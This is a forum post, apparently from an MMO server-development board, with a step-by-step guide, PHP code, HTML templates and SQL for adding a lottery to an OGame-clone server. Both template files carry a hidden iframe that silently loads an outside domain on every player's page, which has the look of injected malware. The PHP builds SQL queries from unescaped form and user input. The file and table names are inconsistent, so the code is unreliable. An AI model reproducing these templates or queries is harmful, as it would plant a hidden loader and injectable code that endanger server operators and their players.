Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

Lottery System For Your Ogame Server

Status
Not open for further replies.
Joined
Jan 1, 2009
Messages
384
Reaction score
20
Here is a guide about how to create your own Lottery system . The guide is written by me but the php file isn’t. So I don’t take credit for all you will see in this post. Now please no need to write posts like: This isn’t yours men why do you take credit !!

1.First you need to create a new file , name it loterie.php.
2.Open loterie.php and write:
<?php
// -----------------------------------------------------------------------------------------------------------
// Project Trinity
// loteria.php
// -----------------------------------------------------------------------------------------------------------

define('INSIDE' , true);
define('INSTALL' , false);

$ugamela_root_path = './';
include($ugamela_root_path . 'extension.inc');
include($ugamela_root_path . 'common.'.$phpEx);

//Fin comprobación
$Consulta = doquery("SELECT * FROM {{table}} WHERE config_name = 'configloteria'", 'config', true); //Sacamos el config.
$Cloteria = explode("|" ,$Consulta[1]); //metemos en un array los datos separados por |

$Tiempo = time(); //Definimos el tiempo
$loteria = gettemplate('loteria_off'); //cargamos el templante off
if($Tiempo < $game_config['Loteria']) { //Si la loteria no es aun.
$Falta1 = ($game_config['Loteria']-$Tiempo); //ponemos cuanto tiempo falta

//Funcion para ver cuanto tiempo falta.
function segundos_tiempo($segundos){
$minutos=$segundos/60;
$horas=floor($minutos/60);
$minutos2=$minutos%60;
$segundos_2=$segundos%60%60%60;
if($minutos2<10)$minutos2='0'.$minutos2;
if($segundos_2<10)$segundos_2='0'.$segundos_2;

if($segundos<60){ /* segundos */
$resultado= round($segundos).' Seconds';
}elseif($segundos>60 && $segundos<3600){/* minutos */
$resultado= $minutos2.' Minutes and'.$segundos_2;
}else{/* horas */
$resultado= $horas.' Hours, '.$minutos2.' Minutes and '.$segundos_2.' Seconds';
}
return $resultado;
}
$segundos=date('h')*60*60+(date('i')*60)+date('s');
//echo 'Segundos: '.$tiempolote.' Resultado: '.segundos_tiempo($Falta1);
//parseamos con loteria off
$parse['usuarios'] = "Missing [".segundos_tiempo($Falta1)."] until the next Lottery";

$lote = parsetemplate( $loteria, $parse);
display ($lote, "Loteria", false, '', true);

} else { //Si esta ON

$resto = $Tiempo - $game_config['Actualizacion']; //calculamos cuanto fue la anterior loto

$loteria = gettemplate('loteria_body'); //cargamos el tpl

$tiempolote = $Cloteria[0]; // Tiempo que ahi entre loteria y loteria
$maxtickets = $Cloteria[1]; // maximos de tickets a vender
$canxticketm = $Cloteria[2]; // premio de metal
$canxticketc = $Cloteria[3]; // premio de cristal
$canxticketd = $Cloteria[4]; // premio de deuterio
$ticketsporpersona = $Cloteria[5];
$costticketc = $Cloteria[6]; // Coste del ticket en cristal
$costticketm = $Cloteria[7]; // Coste del ticket en metal
$costticketd = $Cloteria[8]; // Coste del ticket en deuterio

$CantidadTickets = doquery("SELECT sum(tickets) as total_tickets FROM {{table}} ",'loteria',true); //Vemos la cantidad de tickets vendidos
$parse['Cantidad'] = $CantidadTickets['total_tickets']; //Sacamos los tickets totales
$parse['Cantidadf'] = $maxtickets-$CantidadTickets['total_tickets']; //vemos cuantos tickets kedan
$parse['Cantidadt'] = $maxtickets; //tickets maximos
$parse['Cantidadm'] = $canxticketm; //lo que dan al ganar en metal
$parse['Cantidadc'] = $canxticketc; //lo que dan al ganar en cristal
$parse['Cantidadd'] = $canxticketd; //lo que dan al ganar en deuterio

$parse['Costm'] = $costticketm; //Muestra el coste en Metal
$parse['Costc'] = $costticketc; //Muestra el coste en Cristal
$parse['Costd'] = $costticketd; //Muestra el coste en Deuterio

$Consulta = doquery("SELECT * FROM {{table}} WHERE `user` = '".$user['username']."' ",'loteria',true); //Consulta para sacar tus tickets
$TusTickets=$Consulta['tickets']; //lo guardamos en una variable

if($TusTickets != NULL) { //Si tienes tickets
$parse['tustickets'] = $TusTickets; //lo parseamos
} else { //y si no
$parse['tustickets'] = 0; //Tus tickets son 0.
}

if($_GET['cp'] == "compra") { //Si existe la var cp en la url, con respuesta compra
$metal = $_POST['Tickets']*$costticketm; //Miramos cuanto le costara de metal
$cristal = $_POST['Tickets']*$costticketc; //Miramos cuanto le costara de cristal
$Deuterio = $_POST['Tickets']*$costticketd; //Miramos cuanto le costara de deuterio

$DatosPlaneta = doquery("SELECT * FROM {{table}} WHERE `id` = '".$planetrow['id']."' ",'planets',true); //Sacamos el id de tu planeta
if ($DatosPlaneta['metal'] >= $metal && $DatosPlaneta['crystal'] >= $cristal && $DatosPlaneta['deuterium'] >= $Deuterio) { //Si tienes los recursos necesarios
if ($parse['Cantidadf'] < $_POST['Tickets']) { //Si no ahi tantos tickets como se desea comprar
$parse['MensajeCompra'] = "<font color='#FF0000'>No more tickets</font>"; //mensaje de error
} else { //y si no
$smetal = $DatosPlaneta['metal']-$metal; //Vemos cuanto metal te queda en el planeta
$scristal = $DatosPlaneta['crystal']-$cristal; //Cuanto cristal
$sdeuterio = $DatosPlaneta['deuterium']-$Deuterio; //Cuanto deuterio
doquery("UPDATE {{table}} SET `metal`='".$smetal."', `crystal`='".$scristal."', `deuterium`='".$sdeuterio."' WHERE `id`='".$planetrow['id']."' limit 1", "planets"); //Actualizamos el planeta

$Suma = $TusTickets+$_POST['Tickets']; //Sumamos la cantidad de tus tickets comprados y los que tenias

if($Suma > $ticketsporpersona){ //Si supera con la compra el maximo de tickets por persona
message(" Sorry, the maximum tickets per person is {$ticketsporpersona}","Loteria" ,'overview.'. $phpEx); //mensaje de error
}

if($TusTickets > 0) { //Si tus tickets es mayor que 0
doquery("UPDATE {{table}} SET `tickets`='".$Suma."' WHERE `user`='{$user['username']}' limit 1", "loteria"); //Actualizamos
} else { //y si no tenias
doquery("INSERT INTO {{table}} SET `ID`='".$user['id']."', `user`='".$user['username']."', `tickets`='".$_POST['Tickets']."' ", "loteria"); //te ponemos los que comprastes
}

$parse['MensajeCompra'] = "<font color='#00FF00'>You just purchased ".$_POST['Tickets']." Tickets</font>"; //parseamos el mensaje de compra
header("Location: ./loteria.php"); //reidirigimos a loteria.php
}

if(($_POST['Tickets']+$CantidadTickets['total_tickets']) == $maxtickets) { //Si la cantidad de tickets es igual que la que se compro.
$elganador = doquery("SELECT * FROM {{table}} order by rand()", "loteria",true); //Sacamos el ganador.
$ganad = $elganador['ID'];//guardamos su id.
$Datoswiner = doquery("SELECT * FROM {{table}} WHERE `id` = '".$ganad."' limit 1",'users',true); //Sacamos los datos del ganador.
$ganadp = $Datoswiner['id_planet']; //guardamos el id del planeta del ganador.
$DatosPlaneta = doquery("SELECT * FROM {{table}} WHERE `id_owner` = '".$ganad."' limit 1",'planets',true); //Sacamos los datos del planeta del ganador.
$emetal = $DatosPlaneta['metal']+($canxticketm*$maxtickets); //cantidad de metal a darle (actual, sumada con los de su planeta)
$ecristal = $DatosPlaneta['crystal']+($canxticketc*$maxtickets); //cantidad de cristal a darle (actual, sumada con los de su planeta)
$edeuterio = $DatosPlaneta['deuterium']+($canxticketd*$maxtickets); //cantidad de deuterio a darle (actual, sumada con los de su planeta)
doquery("UPDATE {{table}} SET `metal`='".$emetal."', `crystal`='".$ecristal."', `deuterium`='".$edeuterio."' WHERE `id`='".$ganadp."' limit 1", "planets"); //Actualizamos los puntos

$Time = time(); //Fijamos la hora que es
$From = "<font color=\"". $kolor ."\">Lottery</font>"; //guardamos el remitente del mensaje
$Subject = "<font color=\"". $kolor ."\">Lottery Results</font>"; //guardamos el titulo del mensaje

$consulta = doquery("SELECT * FROM {{table}}", "loteria"); //Consulta de loteria
while ($uzer = mysql_fetch_array($consulta)) { //While para enviar mensaje usuario por usuario
if($ganad == $uzer['ID']) { //Si el id del usuario es el que gano, enviamos mensaje de ganador
$Message = "<font color='#00ff00'>Congrats!!!<br>You were the winner of the lottery ticket<br> You Won:".$canxticketm*$maxtickets." Metal<br>".$canxticketc*$maxtickets." Cristal<br>".$canxticketd*$maxtickets." Deuterium<br></font>";
} else { //y si no mensaje de perdedor
$Message = "<font color='#FF0000'>OHHHH!!!<br>You didn't win. Good Luck Next Time !!</font>";
}
SendSimpleMessage ( $uzer['ID'], $uzer['ID'], $Time, 1, $From, $Subject, $Message); //Enviamos el mensaje
} //Fin while

doquery ("DELETE FROM {{table}} ",'loteria'); //borramos todo de loteria.

$sigueintelore = $tiempolote + time(); //Fijamos la proxima loteria

doquery("UPDATE {{table}} SET `config_value`='".$sigueintelore."' WHERE `config_name`='Loteria' limit 1", "config"); //lo ponemos en db

} //Fin cantidad de tickets igual
} else { //Si no tienes suficientes recursos mensaje de error
$parse['MensajeCompra'] = "<font color='#FF0000'>You do not have enough resources<br /></font>";
}
} //fin si estamos comprando
$pase['usuarios'] = "Other Players"; //parseamos

if($CantidadTickets == $maxtickets) {
$parse['color'] = "red";
} else {
$parse['color'] = "green";
}
$usuarios = doquery("SELECT * FROM {{table}} order by tickets", "loteria");
while ($listad = mysql_fetch_array($usuarios)) {
$parse['usuarios'] .= "".$listad['user']." bought ".$listad['tickets']." tickets<br/>";
}

//parseamos
$lote = parsetemplate( $loteria, $parse);
display ($lote, "Loteria", false, '', true);
}

?>
3. Go to /templates/OpenGame

4. Create the loterie_body.tpl and loterie_off.tpl files.

5. Open loterie_body.tpl and write:
<br>
<table width="519">
<tr>
<td class="c" colspan="2">Lottery System - Buy Tickets & Win a Prize</td>
</tr>
<tr>
<th>There are <font color="{color}">{Cantidadf}</font> Tickets, Sold <font color="{color}">{Cantidad}/{Cantidadt}</font></th>
<th><b><u>PRIZE</u></b><br><font color="yellow">Metal:</font>{Cantidadm} !!!<br><font color="yellow">Crystal:</font>{Cantidadc} !!!<br><font color="yellow">Deuterium:</font>{Cantidadm} !!!<br></th>
</tr>

<tr>
<th></th>
<th><b><u>Price</u></b><br>
<font color="yellow">Metal:</font>{Costm}<br>
<font color="yellow">Crystal:</font>{Costc}<br><font color="yellow">Deuterium:</font>{Costm}<br></th>
</tr>

<tr>
<td class="c" colspan="2">Tickets</td>
</tr>
<tr>
<th class="c">
<br>
<form method="POST" action="loteria.php?cp=compra">
<select size="1" name="Tickets">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
</select>
<input type="submit" value="BUY" name="BUY">
</form>
</th>
<th>Your Tickets<br><font color="yellow">{tustickets}</font>
</tr>
<tr>
<td class="c" colspan="2">{MensajeCompra}</td>
</tr>
<tr>
<th class="c" colspan="2"></th>
</tr>
<tr>
<td class="c" colspan="2">Users who have tickets</td>
</tr>

<th class="c" colspan="2" >- {usuarios}</th>
</tr>

</tr>
<tr>
<td class="b" colspan="2"><p>Instructions!<br>
<br>
There are X tickets on sale at the price written in the table of prices. </p>
<p>What do you get if you WIN? Look at the Prize table!<br>
<br>
Need more help? Send a ticket!</p></td>
</tr>


<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>

6. Open loterie_off.tpl and write:
<br>
<table width="519">
<tr>
<td class="c" colspan="2">Loteria</td>
</tr>

<tr>
<td class="c" colspan="2">{usuarios}</td>
</tr>



<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>

7.Now add this:
<td colspan="2"><a href="loterie.php" accesskey="3" target="{mf}">Loterie</a></td>

In your left menu



8. MySQL query:
CREATE TABLE `game_loterie` (
`ID` int(11) NOT NULL,
`user` varchar(255) collate latin1_swedish_ci NOT NULL,
`tickets` int(5) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

INSERT INTO `game_config` VALUES ('Loterie', '1214689842')​
Done ! Now you have your own Lottery ( it's translated in english don’t worry about that ) .

I hope you will find this usefull !
 
Last edited:
Joined
Jan 1, 2009
Messages
384
Reaction score
20
Something happened to my account and all my posts are now half deleted , modified, replaced with one word..
 
Joined
Jan 1, 2009
Messages
384
Reaction score
20
It seems it happened to many othere .. the big posts got modified by a bug or something... I will rebuilt my broken posts soon .. Im starting with Ogame HQ because its the most important one
 
Status
Not open for further replies.
Back
Top